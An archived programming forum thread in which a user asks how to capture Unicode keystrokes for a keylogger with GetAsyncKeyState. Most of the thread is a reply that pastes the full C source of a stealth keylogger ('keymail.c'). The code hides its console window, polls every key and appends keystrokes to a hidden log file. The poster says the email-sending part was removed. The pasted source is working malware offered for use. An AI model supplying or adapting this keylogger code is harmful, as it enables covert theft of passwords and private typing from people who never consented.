unicode

Sep 25, 2011 at 8:43am
hello guys . i use getasynckeystate function to understand what the key pressed but in the unicode i dont know what i do !! i think i have two way , one convert to unicode and second get the name of the language bar . please help me how can i get name of laguage bar ?
Sep 25, 2011 at 8:57am
I think you're confused. If you need text input, then GetAsyncKeyState is completely unsuited for the task anyways. Just catch WM_CHAR messages.
Sep 25, 2011 at 9:03am
please tell me more ! i write FR locale and EN how can i know when i'm writting where language bar is selected ?!
Sep 25, 2011 at 9:18am
You don't need to know. WM_CHAR contains an UTF-16 char. I don't know what exactly you are doing right now though.
Sep 25, 2011 at 10:04am
i want write one test keylogger for myself and i use getasynckeystate not setwindowshookex ! i search all of the web but i dont found anything :(
Sep 26, 2011 at 12:39am
closed account (zwA4jE8b)
this is from the web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
 /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
*                                       *
* File: keymail.c  Ver. 0.7                         *
*                                       *
* Purpose: a stealth (somewhat) key logger, writes to a log file then sends  *
* and email to whoever is set in the #define options at compile time.     *
* This code is for educational uses, don't be an ass hat with it.       *
* White Scorpion (www.white-scorpion.nl) did the initial work on the key   *
* logger, but he has gone on to bigger and better things.           *
* This version was crafted by Irongeek (www.Irongeek.com), who tacked on   *
* some code to make it send emails, along with a few other changes.      *
* If some of the code is crappy, blame Irongeek and not White Scorpion.    *
* Please send Irongeek improvements and he will post the changes and give you *
* credit for your contributions.                       *
*                                       *
* This program is free software; you can redistribute it and/or        *
* modify it under the terms of the GNU General Public License         *
* as published by the Free Software Foundation; either version 2       *
* of the License, or (at your option) any later version.           *
*                                       *
* This program is distributed in the hope that it will be useful,       *
* but WITHOUT ANY WARRANTY; without even the implied warranty of       *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the        *
* GNU General Public License for more details.                *
*                                       *
* You should have received a copy of the GNU General Public License      *
* along with this program; if not, write to the Free Software         *
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
*                                       *
* Change log:                                 *
*   1/3/06 On Ed Rguyl's recommendation I changed how malloc was used.   *
*   6/22/06 Added the date and time functionality using ctime and fixed   *
*       a bug where subject was being defined twice.(ThVoidedLine)   *
*                                       *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
*/

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
#define BUFSIZE 800
#define waittime 500
#define LogLength 100
#define FileName "C:\\sound.txt"

int get_keys();
int main()
{
  //Uncomment the lines below to put the keylogger in stealh mode.
  HWND stealth; /*creating stealth */
  AllocConsole();
  stealth=FindWindowA("ConsoleWindowClass",NULL);
  ShowWindow(stealth,0);
  
  {FILE *file;
  file=fopen(FileName,"a+");
  time_t theTime=time(0);
  fputs("\nStarted logging: ", file);
  fputs(ctime(&theTime),file);
  fclose(file);
  }
  
  int t=get_keys();  
  return t;
} 

int get_keys()
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


      short character;
       while(1)
       {
          Sleep(10);/*to prevent 100% cpu usage*/
          for(character=8;character<=222;character++)
          {
            if(GetAsyncKeyState(character)==-32767)
            { 
              FILE *file;
              file=fopen(FileName,"a+");
              if(file==NULL)
              {
                  return 1;
              }      
              if(file!=NULL)
              {    
                  if((character>=39)&&(character<=64))
                  {
                     fputc(character,file);
                     fclose(file);
                     break;
                  }    
                  else if((character>64)&&(character<91))
                  {
                     character+=32;
                     fputc(character,file);
                     fclose(file);
                     break;
                  }
                  else
                  {
                    switch(character)
                    {
                       case VK_SPACE:
                       fputc(0x20,file);
                       fclose(file);
                       break;  
                       case VK_SHIFT:
                       fputs("\r\n[SHIFT]\r\n",file);
                       fclose(file);
                       break;                      
                       case VK_RETURN:
                       fputs("\r\n[ENTER]\r\n",file);
                       fclose(file);
                       break;
                       case VK_BACK:
                       fputs("\r\n[BACKSPACE]\r\n",file);
                       fclose(file);
                       break;
                       case VK_TAB:
                       fputs("\r\n[TAB]\r\n",file);
                       fclose(file);
                       break;
                       case VK_CONTROL:
                       fputs("\r\n[CTRL]\r\n",file);
                       fclose(file);
                       break;  
                       case VK_DELETE:
                       fputs("\r\n[DEL]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_1:
                       fputs("\r\n[;:]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_2:
                       fputs("\r\n[/?]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_3:
                       fputs("\r\n[`~]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_4:
                       fputs("\r\n[ [{ ]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_5:
                       fputs("\r\n[\\|]\r\n",file);
                       fclose(file);
                       break;                
                       case VK_OEM_6:
                       fputs("\r\n[ ]} ]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_7:
                       fputs("\r\n[&#39;\"]\r\n",file);
                       fclose(file);
                       break;
                       case VK_CAPITAL:
                       fputs("\r\n[CAPS LOCK]\r\n",file);
                       fclose(file);
                       break;
                       default:
                       fclose(file);
                       break;
                    }    
                 }  
               }    
          }  
        }         
      FILE *file;
      file=fopen(FileName,"rb");
      fseek(file,0,SEEK_END); //go to end
      len=ftell(file); //get position at end (length)
      if(len>=LogLength) {
       fseek(file,0,SEEK_SET);//go to beg.
       buf=(char *)malloc(len);//malloc buffer
       freadindex=fread(buf,1,len,file);//read into buffer
       buf[freadindex] = ';\0';;//Extra bit I have to add to make it a sting
       fclose(file);
       file=fopen(FileName, "w");           
       }
      
      fclose(file);
      //free (buf);
         
      }
      return EXIT_SUCCESS;              
}


I removed the mailer part though

obviously it's in c but there are some easy changes you can do to customize it in cpp
Last edited on Sep 26, 2011 at 12:43am
Sep 26, 2011 at 7:34am
tnx for help but i want capture unicode not multi byte character set
Topic archived. No new replies allowed.